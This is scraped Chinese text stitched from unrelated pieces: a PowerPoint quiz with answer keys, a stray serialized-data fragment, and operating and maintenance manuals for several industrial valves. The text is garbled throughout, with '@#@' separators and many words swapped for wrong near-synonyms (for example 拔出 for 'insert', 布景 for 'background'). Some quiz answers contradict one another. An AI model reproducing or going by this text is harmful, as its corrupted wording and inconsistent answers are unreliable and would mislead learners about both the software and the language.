@#@ @#@ @#@@#@A.版式@#@B.模板 @#@ @#@ @#@ @#@@#@C.母版 @#@ @#@ @#@ @#@@#@D.幻灯片@#@11.在PowerPoint大纲窗格中创建的演示文稿的大纲,可以在大纲视图中进行(D)编辑它们。
@#@@#@A.更改大纲的段落次序@#@B.更改大纲的条理结构@#@C.折叠与展开大纲@#@D.以上都是@#@12.PowerPoint中,新建幻灯片时,下面哪个对象的占位符不会出现在内容版式中。
@#@(C)@#@A.表格 @#@ @#@ @#@ @#@@#@B.图表 @#@ @#@ @#@ @#@@#@C.形状 @#@ @#@ @#@ @#@@#@D.SmartArt @#@ @#@@#@13.下面的选项中,不属于PowerPoint的窗口部分的是( @#@ @#@D @#@ @#@)。
@#@ @#@ @#@@#@A.幻灯片区 @#@ @#@ @#@ @#@@#@B.大纲区 @#@ @#@ @#@ @#@@#@C.备注区 @#@ @#@ @#@ @#@@#@D.播放区 @#@ @#@@#@14.PowerPoint中,当我们想要为文字加上“光晕”效果时,需使用以下哪项方法?
@#@(D @#@ @#@) @#@@#@A.在“绘图”组中使用“快速样式”@#@B.在“绘图”组中使用“图案” @#@ @#@ @#@ @#@@#@C.在“形状样式”组中使用“形状效果” @#@ @#@ @#@ @#@@#@D.在“艺术字样式”组中使用“文字效果”@#@15.一件PowerPoint幻灯片作品内容编排得非常不错,可是制作时使用的颜色太杂乱,使用的字体、字号也很多,给人以非常凌乱的视觉感受。
@#@老师应指导学生采纳以下什么方法进行修改?
@#@( @#@ @#@A @#@ @#@) @#@@#@A.统一使用宋体字体,字体颜色尽量少@#@B.每张幻灯片采取预先制作的同一张图片做布景 @#@@#@C.制作幻灯片模板并应用@#@D.推翻原方案,重新设计@#@16.幻灯片放映过程中,转到下一张隐藏的幻灯片的快捷键是(B)。
@#@@#@A.E键@#@B.H键@#@C.B键@#@D.W键@#@17.PowerPoint中,要打印内容幻灯片下面不成以打印的是( @#@C)。
@#@@#@A @#@.幻灯片 @#@@#@B. @#@讲义@#@C. @#@母版 @#@@#@D. @#@备注@#@18.关闭PowerPoint时会提示是否要保管对PowerPoint的修改,如果需要保管该修改,应选择( @#@ @#@A @#@ @#@)。
@#@ @#@ @#@@#@A.是 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B.否 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@C.取消 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@D.不予理睬@#@19.PowerPoint中,利用母版可以实现的是(D)。
@#@@#@A. @#@统一改变字体设置 @#@@#@B. @#@ @#@统一添加相同的对象 @#@@#@C. @#@ @#@统一修改项目符号 @#@ @#@@#@D. @#@ @#@以上都是@#@20.幻灯片放映过程中,显示或隐藏墨迹标识表记标帜的快捷键是(B)。
@#@@#@A.Ctrl+E键@#@B.Ctrl+M键@#@C.Ctrl+P键@#@D.Ctrl+A键@#@21.PowerPoint中,拔出一张新的幻灯片快捷方式是(C)。
@#@@#@A.Ctrl+A @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B.Shift+N @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@C.Ctrl+M @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@D.Ctrl+N@#@22.PowerPoint中,以下哪些对象可以添加文字(A)@#@A.图形@#@B.剪贴画@#@C.外部图片@#@D.以上都是@#@23. @#@PowerPoint中,放映幻灯片的快捷键是( @#@ @#@ @#@B @#@ @#@)@#@A.FI @#@ @#@键 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B.F5 @#@ @#@键 @#@ @#@ @#@ @#@ @#@@#@C.F7 @#@ @#@键 @#@ @#@ @#@ @#@ @#@ @#@@#@D.F8键@#@24.PowerPoint的“超链接”命令的作用是( @#@ @#@ @#@D @#@ @#@)。
@#@ @#@@#@A.实现演示文稿幻灯片的移动 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B.中断幻灯片放映 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@C.在演示文稿中拔出幻灯片 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@D.实现幻灯片内容的跳转@#@25.幻灯片放映过程中,将指针酿成橡皮擦的快捷键是(A)。
@#@@#@A.Ctrl+E键@#@B.Ctrl+M键@#@C.Ctrl+P键@#@D.Ctrl+A键@#@26.给PowerPoint幻灯片中添加图片,可以通过( @#@ @#@D @#@ @#@)来实现@#@A.拔出/图片/剪贴画 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B.拔出/图片/图片 @#@ @#@@#@C.拔出/图片/屏幕截图 @#@ @#@ @#@ @#@ @#@ @#@@#@D.以上均可以@#@27.下列哪一项不克不及在绘制的形状上添加文本,( @#@ @#@C @#@ @#@),然后键入文本。
@#@ @#@ @#@ @#@ @#@@#@A.在形状上单击鼠标右键,选择“编辑文字”命令 @#@ @#@ @#@ @#@@#@B.使用“拔出”选项卡中的“文本框”命令 @#@ @#@ @#@ @#@@#@C.只要在该形状上单击一下鼠标左键 @#@ @#@@#@D.单击该形状,然后按回车键@#@28.PowerPoint中,绘图时选择不相邻的多个对象需要按住( @#@D @#@)键。
@#@@#@A. @#@Alt. @#@@#@B. @#@F3. @#@@#@C. @#@Shift.@#@D. @#@Ctrl.@#@29.PowerPoint中,幻灯片浏览视图下不克不及 @#@( @#@C @#@) @#@ @#@。
@#@@#@A复制幻灯片 @#@ @#@@#@B改幻化灯片位置 @#@@#@C修改幻灯片内容 @#@@#@D隐藏幻灯片 @#@@#@30.幻灯片放映过程中,停止或重新启动自动演示文稿的快捷键是(B)。
@#@@#@A.E键@#@B.S键@#@C.B键@#@D.W键@#@31.PowerPoint中,幻灯片母版视图下可以 @#@(D @#@) @#@。
@#@@#@A. @#@检查所有幻灯片 @#@@#@B. @#@安插各幻灯片的位置 @#@@#@C. @#@可以添加对象,并在各个幻灯片中显示出来 @#@@#@D. @#@全不是@#@32.幻灯片放映过程中,将指针酿成箭头的快捷键是(D)。
@#@@#@A.Ctrl+E键@#@B.Ctrl+M键@#@C.Ctrl+P键@#@D.Ctrl+A键@#@33.PowerPoint中,WORD中什么内容可以导入到幻灯片(D)。
@#@ @#@@#@A @#@. @#@正文文字 @#@@#@B. @#@图片 @#@@#@C.图形 @#@@#@D.题目文字@#@34.PowerPoint中,改变对象大小时,按下“Shift”时出现的结果是( @#@ @#@B @#@ @#@ @#@)。
@#@ @#@@#@A.以图形对象的中心为基点进行缩放 @#@ @#@@#@B.按图形对象的比例改变图形的大小@#@C.只有图形对象的高度发生变更 @#@ @#@@#@D.只有图形对象的宽度发生变更@#@35.PowerPoint中,执行了拔出新幻灯片的操纵,被拔出的幻灯片将出现在( @#@ @#@ @#@B @#@ @#@)@#@A.当前幻灯片之前 @#@ @#@ @#@ @#@ @#@@#@B.当前幻灯片之后 @#@ @#@ @#@ @#@@#@ @#@C.最前 @#@ @#@ @#@ @#@@#@ @#@D.最后@#@36.在PowerPoint中,下列说法错误的是( @#@ @#@C @#@ @#@)。
@#@ @#@ @#@@#@A. @#@PowerPoint和word文稿一样,也有页眉与页脚。
@#@ @#@@#@B.用大纲方式编辑设计幻灯片,可以使文稿条理分明、条理清晰。
@#@ @#@ @#@@#@C.在电脑上展现幻灯片时,幻灯片上设计的各种动画效果都可以完整的呈现出来@#@D.在幻灯片的播放过程中,可以用ESC键停止退出。
@#@@#@37.幻灯片放映过程中,将指针酿成绘画笔的快捷键是(C)。
@#@@#@A.Ctrl+E键@#@B.Ctrl+M键@#@C.Ctrl+P键@#@D.Ctrl+A键@#@38.在PowerPoint中,下列说法错误的是( @#@ @#@B @#@ @#@)。
@#@ @#@ @#@@#@A. @#@可以利用放映功能,直接在电脑上展示 @#@@#@B.幻灯片的版式是指视图的预览模式@#@C. @#@幻灯片中能设置页眉/页脚@#@D.在PowerPoint制作的演示文稿,无法在其他版本的PowerPoint中打开@#@39.在PowerPoint中,显示所有命令的快捷菜单的快捷键是(C)。
@#@@#@A.Ctrl+H键@#@B.Alt键@#@C.Shift+F10键@#@D.Ctrl+F1键@#@40.幻灯片放映过程中,显示空白的白色幻灯片的快捷键是(D)。
@#@@#@A.E键@#@B.S键@#@C.B键@#@D.W键@#@41.在PowerPoint中,创建新的幻灯片时出现的虚线框称为(A)。
@#@@#@A.占位符 @#@ @#@ @#@ @#@ @#@@#@B.文本框 @#@ @#@ @#@ @#@@#@C.图片框 @#@ @#@ @#@ @#@@#@D.表格框@#@42.在PowerPoint中,显示或隐藏功能区的快捷键是(D)。
@#@@#@A.Ctrl+H键@#@B.Alt键@#@C.Shift+F10键@#@D.Ctrl+F1键@#@43.在PowerPoint中,SmartArt图形不包含下面的(A)。
@#@@#@A.图表@#@B.流程图@#@C.循环图@#@D.条理结构图@#@44.在PowerPoint中,下列说法正确的是(C)。
@#@@#@A.通过布景命令只能为一张幻灯片添加布景@#@B.通过布景命令只能为所有幻灯片添加布景@#@C.通过布景命令既可以为一张幻灯片添加布景也可以为所有添加布景@#@D.以上说法都分歧错误@#@45.在PowerPoint中,显示当前视图中每项功能的快捷键是(B)。
@#@@#@A.Ctrl+H键@#@B.Alt键@#@C.Shift+F10键@#@D.Ctrl+F1键@#@46.在幻灯片视图窗格中,要删除选中的幻灯片,不克不及实现的操纵是(B)。
@#@@#@ A.按下键盘上的Delete的键@#@ B.按下键盘上的BackSpace键@#@ C.按下功能区上的隐藏幻灯片按钮@#@D.按鼠标右键执行菜单中的删除幻灯片命令@#@47.在PowerPoint中,超等链接只有在下列哪种视图中才干被激活(D)。
@#@@#@A.幻灯片视图 @#@B.大纲视图 @#@C.幻灯片浏览视图 @#@D.幻灯片放映视图@#@48.在PowerPoint中,更改字号的快捷键是(C)。
@#@@#@A.Ctrl+H键@#@B.Ctrl+F键@#@C.Ctrl+Shift+P键@#@D.Ctrl+Shift+F键@#@49.在PowerPoint中,幻灯片的填充布景不成以是(B)。
@#@@#@A.调色板列表中选择的颜色地@#@B.自已通过三原色或亮度、色调等调制颜色@#@C.三种以上颜色的过渡效果@#@D.磁盘上的图片@#@50.在PowerPoint中,打开“查找”对话框的快捷键是(B)。
@#@@#@A.Ctrl+H键@#@B.Ctrl+F键@#@C.Ctrl+Shift+P键@#@D.Ctrl+Shift+F键@#@51.PowerPoint的一大特色就是可以使演示文稿中的幻灯片具有一致的外观,一般采取下面方法来实现(D)。
@#@@#@A.母板的使用@#@B.主题的使用@#@C.幻灯片布景的设置@#@D.以上方法都是@#@52.在PowerPoint中,幻灯片放映时要有对象进入放映界面的动画效果,应选择(A)动画效果设置。
@#@@#@A.进入@#@B.强调@#@C.退出@#@D.动作路径@#@53.在PowerPoint中,打开“替换”对话框的快捷键是(A)。
@#@@#@A.Ctrl+H键@#@B.Ctrl+F键@#@C.Ctrl+Shift+P键@#@D.Ctrl+Shift+F键@#@54.在PowerPoint中,幻灯片放映时对象需要强调的动画效果,应选择(B)动画效果设置。
@#@@#@A.进入@#@B.强调@#@C.退出@#@D.动作路径@#@55.当打开多个PowerPoint窗口时,切换到下一个PowerPoint窗口的快捷键是(A)。
@#@@#@A.Ctrl+F6键@#@B.Ctrl+F4键@#@C.Ctrl+F3键@#@D.Ctrl+F5键@#@56.在PowerPoint中,改变字体的快捷键是(D)。
@#@@#@A.Ctrl+H键@#@B.Ctrl+F键@#@C.Ctrl+Shift+P键@#@D.Ctrl+Shift+F键@#@57.在PowerPoint中,幻灯片放映时要有对象退出消失的动画效果,应选择(C)动画效果设置。
@#@@#@A.进入@#@B.强调@#@C.退出@#@D.动作路径@#@58.在PowerPoint中,幻灯片放映时某个对象依照一定的路径轨迹运动的动画效果,应选择(D)动画效果设置。
@#@@#@A.进入@#@B.强调@#@C.退出@#@D.动作路径@#@59.幻灯片放映过程中,显示空白的黑色幻灯片的快捷键是(C)。
@#@@#@A.E键@#@B.R键@#@C.B键@#@D.W键@#@60.在PowerPoint中,将所选窗口的图片复制到剪贴板上的快捷键是(B)。
@#@@#@A.Ctrl+H键@#@B.Alt+PrintScreen键@#@C.Shift+F10键@#@D.Ctrl+F1键@#@⏹填空题@#@1.PowerPoint中,拔出幻灯片的操纵可以在(普通)视图下进行。
@#@@#@2.在PowerPoint中,为每张幻灯片设置放映时的切换方式,应使用(切换)选项卡设置幻灯片切换效果。
@#@@#@3.PowerPoint演示文稿的扩展名是(pptx)。
@#@@#@4.在PowerPoint中,可以对幻灯片进行移动、删除、复制、设置动画效果,但不克不及对单独的幻灯片的内容进行编辑的视图是(幻灯片浏览)。
@#@@#@5.在打印演示文稿时,在一页纸上能包含几张幻灯片缩图的打印内容称为(讲义)。
@#@@#@6.在PowerPoint幻灯片浏览视图中,按住[ALT]键,并用鼠标拖动幻灯片,将完成幻灯片的(移动)操纵。
@#@@#@7.在PowerPoint幻灯片浏览视图中,按住[CTRL]键,并用鼠标拖动幻灯片,将完成幻灯片的(复制)操纵。
@#@@#@8.在PowerPoint中,幻灯片删除可以通过快捷键(Del)删除幻灯片。
@#@@#@9.在幻灯片窗格下,按住CTRL并拖动某幻灯片,可以完成(复制幻灯片0操纵。
@#@@#@10.PowerPoint的一大特色就是可以使演示文稿的所有幻灯片具有一致的外观。
@#@控制幻灯片外观的方法主要有( @#@ @#@ @#@ @#@使用模板 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@) @#@。
@#@@#@11. @#@PowerPoint中,在幻灯片中段落缩进可分为首行缩进和( @#@悬挂缩进)两种。
@#@@#@12.PowerPoint中,如要终止幻灯片的放映,可直接按(Esc)键@#@13.PowerPoint的演示文稿具有普通、幻灯片浏览、备注、幻灯片放映和(阅读)等5种视图。
@#@@#@14.对于演示文稿中禁绝备放映的幻灯片可以用(幻灯片放映)选项卡中的“隐藏幻灯片”命令隐藏。
@#@@#@15.PowerPoint中(幻灯片放映模式)用于检查幻灯片的播放效果@#@16.PowerPoint中,在幻灯片中添加文本,需要用(占位符)和(文本框)。
@#@@#@17.使用了很多字体、字号和颜色,给人以非常凌乱视觉感受的PowerPoint演示文稿,要采纳(统一使用宋体字体和字体颜色尽量少)的方法进行修改。
@#@@#@18.在 @#@PowerPoint中,进行拔出屏幕截图 @#@操纵是给PowerPoint幻灯片中添加(图片 @#@ @#@ @#@ @#@)。
@#@@#@19.在 @#@PowerPoint中,不克不及对个别幻灯片内容进行编辑修改的视图是(幻灯片浏览视图)。
@#@@#@20.在 @#@PowerPoint中,要切换到“幻灯片放映”模式,可直接按( @#@F5 @#@ @#@)功能键。
@#@@#@21.在 @#@PowerPoint中,拔出一张新的幻灯片快捷方式是(Ctrl+M)。
@#@@#@22.在 @#@PowerPoint中,创建一套新的演示文稿快捷方式是(Ctrl+N)。
@#@@#@23.在 @#@PowerPoint中,绘图时选择不相邻的多个对象需要按住( @#@Ctrl @#@)键。
@#@@#@24.在 @#@PowerPoint中,从当前幻灯片开始放映的快捷键是(Shift+F5)键。
@#@@#@25.在PowerPoint中, @#@( @#@普通) @#@视图模式可以实现在其他视图中可实现的一切编辑功能。
@#@@#@26.在PowerPoint中,设置文本字体时,选定文本后,在功能区标签中选择( @#@ @#@开始)标签,进行设置。
@#@@#@27.在 @#@PowerPoint中,当利用空演示文稿,并选择一种自动版式建立新演示文稿时,先选定( @#@ @#@ @#@ @#@ @#@占位符 @#@ @#@),输入内容会自动替换其中的提示性文字。
@#@@#@28.PowerPoinrt有四种视图方式,它们是(普通视图、幻灯片浏览视图、备注页视图和阅读视图)。
@#@@#@29.在一张幻灯中,选中多个对象,在(格式)选项卡中单击(对齐)按钮,可以将多个对象排列得整整齐齐。
@#@@#@30.将演示文稿保管为自动播放的文件格式是(*.ppsx)。
@#@@#@31.在 @#@PowerPoint中,可以在(格式)选项卡中单击(压缩图片)按钮,在打开的对话框中进行相关设置障碍,就能将演示文稿中包含的许多照片将其空间压缩一下。
@#@@#@32.在 @#@PowerPoint中,单击(开始)选项卡中的(段落)组中的(转换为SmartArt图形)按钮,可以将文本转换为SmartArt图形。
@#@@#@33.在 @#@PowerPoint中,创建组织结构图可以选择(条理结构)类型的SmartArt图形。
@#@@#@34.在 @#@PowerPoint中,要显示连续的流程可以选择(循环结构)类型的SmartArt图形。
@#@@#@35.在 @#@PowerPoint中,如果要一次性修改演示文稿中所有幻灯片的布景,可以在幻灯片(母板)视图中一次性修改幻灯片母板的布景。
@#@@#@36.在 @#@PowerPoint中,(备注)母板可以作为演示者在演示文稿时的提示和参考,可以单独打印出来。
@#@@#@37.在 @#@PowerPoint中,(讲义)母板可以用来控制讲义的打印格式。
@#@@#@38.在 @#@PowerPoint中,为了使每张幻灯片中都出现相同图片,最快速的法是在(母板)中拔出该图片。
@#@@#@39.在 @#@PowerPoint中,从头开始放映幻灯片的快捷键是(F5)。
@#@@#@⏹判断题@#@1.(对) @#@在PowerPoint中,利用绘图工具绘制的图形中,可以加入文字。
@#@@#@2.(错)PowerPoint @#@提供了多种版式,它包含了相应的配色方案、母版和字体样式等,可供用户快速生成风格统一的演示文稿。
@#@@#@3.(错)对一件PowerPoint幻灯片制作时,使用的颜色太杂乱,使用的字体、字号也很多,给人以非常凌乱的视觉感受的作品,可采纳(制作幻灯片模板并应用)方法进行修改。
@#@@#@4.(对)PowerPoint中,幻灯片内容的跳转可以通过“超链接”命令实现。
@#@@#@5.(对)备注区是属于PowerPoint窗口的一部分。
@#@用户可在备注区中输入一些提示信息。
@#@@#@6.(对)关闭PowerPoint时,如果需要保管已修改的内容,会出现提示对话框,问是否要保管对PowerPoint的修改。
@#@@#@7.(错)PowerPoint幻灯片中,只要在已绘制的形状上,单击一下鼠标左键就可以添加文本,然后输入文字了。
@#@@#@8.(错)在PowerPoint中,绘图时选择不相邻的多个对象,需要按住Alt @#@键。
@#@@#@9. @#@(对)在PowerPoint中放映幻灯片时,按ESC键可以结束幻灯片放映。
@#@ @#@@#@10.(错)PowerPoint中,不允许拔出在其他图形程序中创建的图片。
@#@@#@11.(对)PowerPoint中,截剪图片是指保管图片的大小不变,而将不希望显示的部分隐藏起来。
@#@当需要重新显示被隐藏的部分时,还可以通过“裁剪”工具进行恢复。
@#@@#@12.(对)PowerPoint中,可以直接通过复制和粘贴的方式将图表拔出到幻灯片,对不含图表占位符的幻灯片可以拔出新图表。
@#@@#@13.(对)通过PowerPoint设置,可以对图片应用分歧的艺术效果,使其看起来更像素描、绘图或油画。
@#@@#@14.(对)在PowerPoint中,可以对普通文字进行三维效果设置。
@#@@#@15.(对)在Powerpoint中,在幻灯处浏览视图中复制某张幻灯片,可按Ctrl键的同时用鼠标拖放幻灯片到目标位置。
@#@@#@16.(错)在Powerpoint窗口下使用“大纲”视图,能对图片、图表、图形等进行修改、删除、复制和移动的操纵。
@#@@#@17.(对)演示文稿的大纲由一系列题目构成,题目下又有子题目,子题目下还有小题目。
@#@利用大纲能够让用户更容易组织演示文稿的内容。
@#@@#@18.(错)PowerPoint中,将文本转换为SmartArt图形后,文本的格式不会发生改变。
@#@@#@19.(对)幻灯片设计的作用可以针对构成幻灯片的颜色、字体和效果等进行统一的设计。
@#@@#@20.(对)PowerPoint中,动画效果是指幻灯片放映时各个主要对象不是一次全部显示,而是依照某个规律,以动画的方式逐个显示出来。
@#@@#@21.(错)在PowerPoint幻灯片浏览视图中不克不及检查幻灯片的动画效果。
@#@@#@22.(对)PowerPoint中,主题包含一组主题颜色、一组主题字体和一组主题效果。
@#@@#@23.(错)PowerPoint中,不克不及在演示文稿中加入多个音乐。
@#@@#@24.(错)PowerPoint中,幻灯片母板中的占位符不成以删除。
@#@@#@25.(对)如果要使演示文稿包含两个或更多个分歧的样式或主题,则需要为每个主题分别拔出一个幻灯片母板。
@#@@#@26.(对)PowerPoint中,可以对图片进行编辑,删除不需要的图片部分内容。
@#@以强调图片主题内容。
@#@@#@27.(对)PowerPoint中,可以利用动画刷复制动画效果。
@#@@#@28.(错)在PowerPoint中,通过布景命令只能为一张幻灯片添加布景。
@#@@#@29.(对)在PowerPoint制作的演示文稿,无法在其他版本的PowerPoint中打开。
@#@@#@30.(对)在幻灯片的播放过程中,可以按ESC键停止播放并退出。
@#@@#@";i:
8;s:
14145:
"五大类阀门使用说明书@#@ @#@@#@D3/6/971J(X)蝶阀@#@ @#@@#@使@#@用@#@说@#@明@#@书@#@ @#@@#@D3/6/971J(X)对夹式蝶阀使用说明书@#@该系列蝶阀为软密封对夹式,驱动装置通过阀轴带动阀板作0-90゜范围旋转,作起闭和调节动作。
@#@@#@1.压力级:
@#@1.0MPa,1.6MPa;@#@@#@2.使用温度:
@#@-15℃---75℃;@#@@#@3.适用介质:
@#@水、蒸汽、天然气、食品、药品、油类。
@#@@#@一、结构特点:
@#@@#@1、结构简单紧凑,90゜范围内旋转起闭迅速、准确;@#@@#@2、操作扭矩小,省力轻巧;@#@@#@3、双向密封、泄漏量为零。
@#@@#@二、安装使用注意事项:
@#@@#@1、该系列蝶阀可以安装在任意位置的管道上,客户根据自动控制系统的要求,结合驱动装置进行安装,安装位置应保证使用、维修方便;@#@@#@2、该系列蝶阀可双向使用无需考虑介质流向;@#@@#@3、存放应保持干燥,阀板处于微闭状态(约3~5°@#@);@#@@#@4、安装前应清理阀门内腔,不允许有污物附着。
@#@@#@5、驱动装置具体安装、使用、贮存、保管等注意事项,按相关要求执行。
@#@@#@三、常见故障及排除方法:
@#@@#@常见故障@#@产生原因@#@排除方法@#@关闭不严@#@1、管道内有杂物;@#@@#@2、管道法兰选用错误,安装有错位@#@1、清除杂物@#@2、选用蝶式专用法兰@#@无法开起@#@1、驱动装置与阀轴之间的连接平键损坏;@#@@#@2、阀轴与阀板连接锥销断裂或脱落@#@1、更换连接平键;@#@@#@2、更换连接锥销@#@Z41H闸阀@#@ @#@@#@使@#@用@#@说@#@明@#@书@#@ @#@@#@Z41H闸阀使用说明书@#@Z41H闸阀为阀板在阀杆的带动下,沿阀座密封面作升降运动而达到启闭的目的。
@#@@#@1、压力级:
@#@1.0MPa,1.6MPa,2.5MPa,4.0MPa,6.4MPa,10MPa;@#@@#@2、使用温度:
@#@-29℃---425℃@#@3、使用介质:
@#@水、蒸汽、油品等非腐蚀性介质。
@#@@#@一、结构特点@#@1、阀体通道为全通径,流体阻力小。
@#@@#@2、介质可从闸阀二侧任意方向流过,不受介质流动方向的限制。
@#@@#@3、全开对密封面受冲蚀性较小,密封性能好。
@#@@#@二、维护保养@#@1、运输途中的维护@#@阀门在运输途中应注意要轻装轻卸,以防止法兰密封面磕碰损坏,应将密封面擦干净后再关闭。
@#@要确保油漆、铭牌和法兰密封面的完好,现场要作好防雨、防尘工作。
@#@@#@2、保管中的维护@#@对入库的阀门,要认真擦拭、清洗阀门在运输过程中的积水和灰尘,对容易生锈的加工面、阀杆、密封面应涂上一层防锈剂或贴上一层防锈纸加以保护。
@#@阀门进出口通道的密封盖要封好,以免赃物进入。
@#@对在运输中损坏、丢失的阀门零件,应及时配齐。
@#@@#@3、阀门安装注意事项@#@3.1、阀门搬运时要小心轻放,更不允许丢掷,以免阀杆扭断及各部件损伤。
@#@@#@3.2、在安装时应清除阀腔内部和管道中尘屑杂物,以避免擦伤阀体与阀板密封面,以致发生渗漏。
@#@@#@3.3、带传动机构的闸阀(如齿轮传动、电动、气动或液动等)均应严格按传动机构使用说明的规定安装,安装位置应保证阀门的使用,维修方便,阀门应直立安装。
@#@@#@3.4、阀门传动机构的安装、使用、贮存、保管应按执行机构使用说明书执行。
@#@@#@3.5、手轮、传动机构均不允许作起吊用,并严禁碰撞。
@#@@#@3.6、手动闸阀应靠旋转手轮使之启闭,不得借助于其他杠杆。
@#@@#@3.7、在操作过程中应保持介质和阀件的清洁,发现任何缺陷和故障,应及时排除。
@#@@#@4、运转中的维护@#@阀门在运转过程中要使阀门处于常年整洁、润滑良好、阀件齐全、正常运转的状态。
@#@以达到开启灵活的目的,不允许在运行中对阀门进行敲打。
@#@@#@ @#@@#@三、常见故障的预防和排除@#@常见故障@#@产生原因@#@预防措施@#@排除方法@#@开不起@#@1、T型槽断裂。
@#@@#@2、传动部位卡阻、磨损、锈蚀。
@#@@#@3、阀板卡死在阀体内。
@#@@#@4、阀杆螺母失效。
@#@@#@5、闸阀长期处于关闭状态下锈死。
@#@@#@6、阀杆受热后顶死闸板@#@1、T型槽应圆弧过渡,开启时不允许超过上死点。
@#@@#@2、保持传动部位旋转灵活,润滑良好,清洁无尘。
@#@@#@3、关闭力适当,不使用杠杆扳手。
@#@@#@4、在条件允许的情况下,经常开启一下,以防锈蚀。
@#@关闭的阀门在升温的情况下,间隔一定时间开启。
@#@@#@1、停车卸压后,修理或更换阀门。
@#@@#@2、卡死、锈死、顶死而使关闭件开不起时,先润滑传动部位。
@#@@#@3、及时更换磨损的零部件。
@#@@#@关不严@#@1、阀杆顶心磨灭或悬空,使闸阀密封时好时坏。
@#@@#@2、密封面掉线。
@#@@#@3、闸板与阀杆脱落。
@#@@#@4、导轨弯曲、偏斜。
@#@@#@5、闸板装反。
@#@@#@6、密封面擦伤、异物卡住。
@#@@#@7、传动部位卡阻、磨损、锈蚀。
@#@@#@1、阀门组装时应进行检查,并有一定的活动间隙@#@2、阀门组装时密封面应有一定的预留高度。
@#@@#@3、操作力不当,提高闸板与阀杆连接质量。
@#@@#@4、组装前注意检查导轨。
@#@@#@5、闸板应作好标记。
@#@@#@6、不宜在含颗粒介质中使用。
@#@@#@7、保持传动部位旋转灵活,润滑良好,清洁无尘。
@#@@#@1、停车卸压后,修理或更换阀门。
@#@@#@2、异物卡住密封面时,可用反复开启阀门的方法冲走异物。
@#@@#@J41H截止阀@#@ @#@@#@使@#@用@#@说@#@明@#@书@#@ @#@@#@J41H截止阀使用说明书@#@J41H截止阀为其阀瓣在阀杆的带动下,升降运动面达到启闭的目的。
@#@@#@1、压力级:
@#@1.0MPa,1.6MPa,2.5MPa,4.0MPa,6.4MPa,10MPa;@#@@#@2、使用温度:
@#@-29℃---425℃;@#@@#@3.适用介质:
@#@水蒸汽、油品等非腐蚀性介质。
@#@@#@一、结构特点@#@1、阀体通道为全通径,流体阻力小。
@#@@#@2、介质流向为单向。
@#@@#@二、维护保养@#@1、运输途中的维护@#@阀门在运输途中应注意轻装轻卸,以防止法兰密封面磕碰损坏,应将密封面擦洗干净后再关闭,防止损坏密封面,要确保油漆、铭牌和法兰密封面的完好,现场要做好防雨、防尘工作。
@#@@#@2、保管中的维护@#@对入库的阀门,要认真擦拭、清洗阀门在运输过程中的积水和灰尘,对易生锈的加工面、阀杆、密封面应涂上一层防锈剂或贴上一层防锈纸加以保护。
@#@阀门进出口通道的封盖要封好,以免赃物进入。
@#@对在运输中损坏,丢失的阀门零部件,应及时配齐。
@#@@#@3、阀门安装注意事项@#@3.1、阀门搬运时要小心轻放,更不允许丢掷,以免阀杆扭断及各部件损伤。
@#@@#@3.2、在安装时应清除阀腔内部和管道中尘屑杂物,以避免擦伤阀体与阀板密封面,以致发生渗漏。
@#@@#@3.3、带传动机构的截止阀(如齿轮传动、电动、气动或液动等)均应严格按传动机构使用说明的规定安装,安装位置应保证阀门的使用,维修方便,阀门应直立安装。
@#@@#@3.4、阀门传动机构的安装、使用、贮存、保管应按执行机构使用说明书执行。
@#@@#@3.5、手轮、传动机构均不允许作起吊用,并严禁碰撞。
@#@@#@3.6、手动截止阀应靠旋转手轮使之启闭,不得借助于其他杠杆。
@#@@#@3.7、在操作过程中应保持介质和阀件的清洁,发现任何缺陷和故障,应及时排除。
@#@@#@4、运输中的维护@#@阀门在运转过程中要使阀门处于常年整洁,润滑良好、阀件齐全、正常运转的状态。
@#@以达到启闭灵活的目的,不允许在运行中对阀门进行敲打,阀门关闭或开启不允许使用加长扳手。
@#@@#@ @#@@#@三、常见故障的预防排除@#@常见故障@#@产生原因@#@预防措施@#@排除方法@#@开不起@#@1、传动部位卡阻、磨损、锈蚀。
@#@@#@2、阀杆螺母失效。
@#@@#@3、阀门长期处于关闭状态下锈死。
@#@@#@4、阀杆受热后顶死阀瓣@#@1、保持传动部位旋转灵活,润滑良好,清洁无尘。
@#@@#@2、关闭力适当,不使用杠杆扳手。
@#@@#@3、在条件允许的情况下,经常开启一下,以防锈蚀。
@#@关闭的阀门在升温的情况下,间隔一定时间开启。
@#@@#@1、卡死、锈死、顶死而使关闭件开不起时,先润滑传动部位。
@#@@#@3、及时更换磨损的零部件。
@#@@#@关不严@#@1、密封面损坏。
@#@@#@2、密封面异物卡住。
@#@@#@3、传动部位卡阻、磨损、锈蚀。
@#@@#@1、不宜在含颗粒介质中使用。
@#@@#@2、保持传动部位旋转灵活,润滑良好,清洁无尘。
@#@@#@1、停车卸压后,修理或更换阀门。
@#@@#@2、异物卡住密封面时,可用反复开启阀门的方法冲走异物。
@#@@#@H41H止回阀@#@ @#@@#@使@#@用@#@说@#@明@#@书@#@ @#@@#@H41H止回阀使用说明书@#@H41H止回阀为其阀瓣在介质工作压力的作用下实现启闭动作。
@#@@#@1、压力级:
@#@1.0MPa,1.6MPa,2.5MPa,4.0MPa,6.4MPa,10MPa;@#@@#@2、使用温度:
@#@-29℃---425℃;@#@@#@3.适用介质:
@#@水蒸汽、油品等非腐蚀性介质。
@#@@#@一、结构特点@#@1、介质压力为动力启闭阀瓣,无需其他动力。
@#@@#@2、关闭迅速,密封性能好。
@#@@#@二、维护保养@#@1、运输途中的维护@#@阀门在运输途中应注意轻装轻卸,以防止法兰密封面磕碰损坏,应将密封面擦洗干净后再闭合。
@#@要确保油漆、铭牌和法兰密封面的完好,现场要做好防雨、防尘工作。
@#@@#@2、保管中的维护@#@对入库的阀门,要认真擦拭、清洗阀门在运输过程中的积水和灰尘,阀门进出口通道的封盖要封好,以免赃物进入。
@#@对在运输中损坏,丢失的阀门零部件,应及时配齐。
